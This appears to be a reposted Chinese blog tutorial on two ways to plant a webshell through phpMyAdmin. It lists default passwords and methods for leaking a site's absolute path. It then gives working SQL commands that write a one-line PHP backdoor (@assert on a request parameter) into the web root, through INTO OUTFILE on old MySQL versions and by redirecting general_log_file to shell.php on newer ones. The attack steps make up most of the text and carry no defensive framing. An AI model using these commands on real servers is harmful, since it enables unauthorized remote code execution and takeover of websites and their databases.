码迷,mamicode.com
首页 > Web开发 > 详细

phpMyAdmin拿shell的两种方法

时间:2020-11-02 10:43:50      阅读:40      评论:0      收藏:0      [点我收藏+]

标签:oba   sele   文件   ima   配置   str   网站   error   war   

一.phpMyAdmin用户名和密码
1.如何获取phpMyAdmin用户名和密码:
弱口令
root/root
root/空密码
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
sql注入
等等


2.网站绝对路径,如何获取网站的绝对路径呢?
单引号爆绝对路径
xx.asp?id=1’
错误参数值爆绝对路径
xx.asp?id=-1
搜索引擎搜索绝对路径
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
测试文件获取绝对路径
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
等等

 

二.Phpmyadmin拿shell的两种方法

1.低版本Mysql
Mysql低于5.0,可以直接通过outfile写入:

SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE  /网站绝对路径/shell.php


2.高版本Mysql
(1)通过以下SQL语句可以查询secure_file_priv(secure-file-priv是全局变量,指定文件夹作为导出文件存放的地方,这个值是只读的)是否为null:

show variables like %secure%

从下图可以看到我的靶机secure_file_priv值为null:

技术图片

 

(2)通过以下SQL语句可以查询到日志保存状态(ON代表开启 OFF代表关闭)和日志的保存路径:

show variables like %general%

从下图可以看到我的靶机是关闭日志保存的,还有日志保存的路径在哪:

技术图片

 

(3)因此通过以下SQL语句修改general_log的值,开启日志保存:

set global general_log=on;


(4)通过以下SQL语句修改日志保存的路径(general_log_file值):

SET global general_log_file=<网站绝对路径>/shell.php


(5)再次执行以下SQL语句,查询是否成功更改:

show variables like %general%

从下图可以看到,成功通过SQL语句修改成功了:

技术图片

 

(6)执行以下SQL语句,以下SQL语句将会被写入到日志文件(shell.php)中:

SELECT <?php @assert($_REQUEST["admin"]);?>;

从下图可以看到一句话木马写入了日志文件中: 通过URL访问,成功被执行了! 图片

技术图片

 

(7)通过URL访问,成功被执行了!

技术图片

 

phpMyAdmin拿shell的两种方法

标签:oba   sele   文件   ima   配置   str   网站   error   war   

原文地址:https://www.cnblogs.com/fzblog/p/13912387.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!